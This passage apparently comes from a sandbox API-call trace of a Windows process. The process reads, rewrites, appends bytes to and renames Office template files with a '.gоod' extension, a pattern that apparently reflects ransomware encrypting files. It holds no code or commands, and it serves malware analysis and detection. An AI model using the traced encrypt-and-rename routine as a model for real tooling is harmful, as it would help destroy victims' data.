returned 0x47 [0234.273] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx.gоod", lpFilePart=0x0) returned 0x4c [0234.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0234.273] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x87d97075, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1dbaf)) returned 1 [0234.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0234.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originletter.dotx.gоod")) returned 1 [0234.275] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx", lpFilePart=0x0) returned 0x47 [0234.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0234.275] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3abb240 | out: lpFileInformation=0x3abb240*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59f49)) returned 1 [0234.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0234.275] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx", lpFilePart=0x0) returned 0x47 [0234.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0234.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0234.275] GetFileType (hFile=0x630) returned 0x1 [0234.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0234.276] GetFileType (hFile=0x630) returned 0x1 [0234.276] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0234.276] ReadFile (in: hFile=0x630, lpBuffer=0x3abb668, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3abb668*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0234.397] CloseHandle (hObject=0x630) returned 1 [0234.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx", lpFilePart=0x0) returned 0x47 [0234.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0234.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0234.753] GetFileType (hFile=0x768) returned 0x1 [0234.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0234.753] GetFileType (hFile=0x768) returned 0x1 [0234.753] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x59f49 [0234.753] WriteFile (in: hFile=0x768, lpBuffer=0x3836750*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3836750*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0234.807] CloseHandle (hObject=0x768) returned 1 [0234.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx", lpFilePart=0x0) returned 0x47 [0234.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0234.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0234.807] GetFileType (hFile=0x768) returned 0x1 [0234.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0234.807] GetFileType (hFile=0x768) returned 0x1 [0234.807] ReadFile (in: hFile=0x768, lpBuffer=0x392d790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x392d790*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0234.856] CloseHandle (hObject=0x768) returned 1 [0234.856] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx", lpFilePart=0x0) returned 0x47 [0234.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0234.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0234.856] GetFileType (hFile=0x768) returned 0x1 [0234.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0234.856] GetFileType (hFile=0x768) returned 0x1 [0234.856] WriteFile (in: hFile=0x768, lpBuffer=0x392c4e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x392c4e0*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0234.904] CloseHandle (hObject=0x768) returned 1 [0235.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx", lpFilePart=0x0) returned 0x47 [0235.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx.gоod", lpFilePart=0x0) returned 0x4c [0235.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0235.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x883b3185, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x59f59)) returned 1 [0236.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0236.039] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originreport.dotx.gоod")) returned 1 [0236.039] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx", lpFilePart=0x0) returned 0x47 [0236.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0236.040] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3b4eef0 | out: lpFileInformation=0x3b4eef0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7f98f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21aa3)) returned 1 [0236.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0236.040] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx", lpFilePart=0x0) returned 0x47 [0236.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0236.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0236.040] GetFileType (hFile=0x858) returned 0x1 [0236.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0236.040] GetFileType (hFile=0x858) returned 0x1 [0236.040] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0236.040] ReadFile (in: hFile=0x858, lpBuffer=0x3b4f318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3b4f318*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0236.042] CloseHandle (hObject=0x858) returned 1 [0236.042] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx", lpFilePart=0x0) returned 0x47 [0236.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0236.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0236.042] GetFileType (hFile=0x858) returned 0x1 [0236.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0236.042] GetFileType (hFile=0x858) returned 0x1 [0236.042] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x21aa3 [0236.043] WriteFile (in: hFile=0x858, lpBuffer=0x3b505b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3b505b8*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0236.043] CloseHandle (hObject=0x858) returned 1 [0236.044] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx", lpFilePart=0x0) returned 0x47 [0236.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0236.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0236.044] GetFileType (hFile=0x858) returned 0x1 [0236.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0236.044] GetFileType (hFile=0x858) returned 0x1 [0236.044] ReadFile (in: hFile=0x858, lpBuffer=0x3b52880, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3b52880*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0236.116] CloseHandle (hObject=0x858) returned 1 [0236.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx", lpFilePart=0x0) returned 0x47 [0236.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0236.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0236.116] GetFileType (hFile=0x858) returned 0x1 [0236.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0236.116] GetFileType (hFile=0x858) returned 0x1 [0236.116] WriteFile (in: hFile=0x858, lpBuffer=0x3b515d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3b515d0*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0236.116] CloseHandle (hObject=0x858) returned 1 [0236.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx", lpFilePart=0x0) returned 0x47 [0236.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx.gоod", lpFilePart=0x0) returned 0x4c [0236.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0236.117] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88f2c84a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x21ab3)) returned 1 [0236.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0236.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originresume.dotx.gоod")) returned 1 [0236.118] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx", lpFilePart=0x0) returned 0x50 [0236.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0236.118] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\personalmonthlybudget.xltx"), fInfoLevelId=0x0, lpFileInformation=0x3bcec88 | out: lpFileInformation=0x3bcec88*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75b3)) returned 1 [0236.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0236.118] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx", lpFilePart=0x0) returned 0x50 [0236.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0236.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\personalmonthlybudget.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0236.118] GetFileType (hFile=0x858) returned 0x1 [0236.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0236.118] GetFileType (hFile=0x858) returned 0x1 [0236.118] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0236.119] ReadFile (in: hFile=0x858, lpBuffer=0x3bcf100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3bcf100*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0237.702] CloseHandle (hObject=0x858) returned 1 [0237.702] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx", lpFilePart=0x0) returned 0x50 [0237.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0237.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\personalmonthlybudget.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0237.702] GetFileType (hFile=0x858) returned 0x1 [0237.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0237.702] GetFileType (hFile=0x858) returned 0x1 [0237.702] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x75b3 [0237.702] WriteFile (in: hFile=0x858, lpBuffer=0x3667f18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3667f18*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0237.703] CloseHandle (hObject=0x858) returned 1 [0237.703] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx", lpFilePart=0x0) returned 0x50 [0237.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0237.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\personalmonthlybudget.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0237.703] GetFileType (hFile=0x858) returned 0x1 [0237.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0237.704] GetFileType (hFile=0x858) returned 0x1 [0237.704] ReadFile (in: hFile=0x858, lpBuffer=0x366a298, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x366a298*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0237.732] CloseHandle (hObject=0x858) returned 1 [0237.732] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx", lpFilePart=0x0) returned 0x50 [0237.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0237.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\personalmonthlybudget.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0237.732] GetFileType (hFile=0x858) returned 0x1 [0237.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0237.732] GetFileType (hFile=0x858) returned 0x1 [0237.733] WriteFile (in: hFile=0x858, lpBuffer=0x3668fc0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3668fc0*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0237.733] CloseHandle (hObject=0x858) returned 1 [0237.733] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx", lpFilePart=0x0) returned 0x50 [0237.733] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx.gоod", lpFilePart=0x0) returned 0x55 [0237.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0237.733] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\personalmonthlybudget.xltx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x89eabcf6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x75c3)) returned 1 [0237.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0237.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\personalmonthlybudget.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx.gоod" (normalized: "c:\\program files\\microsoft 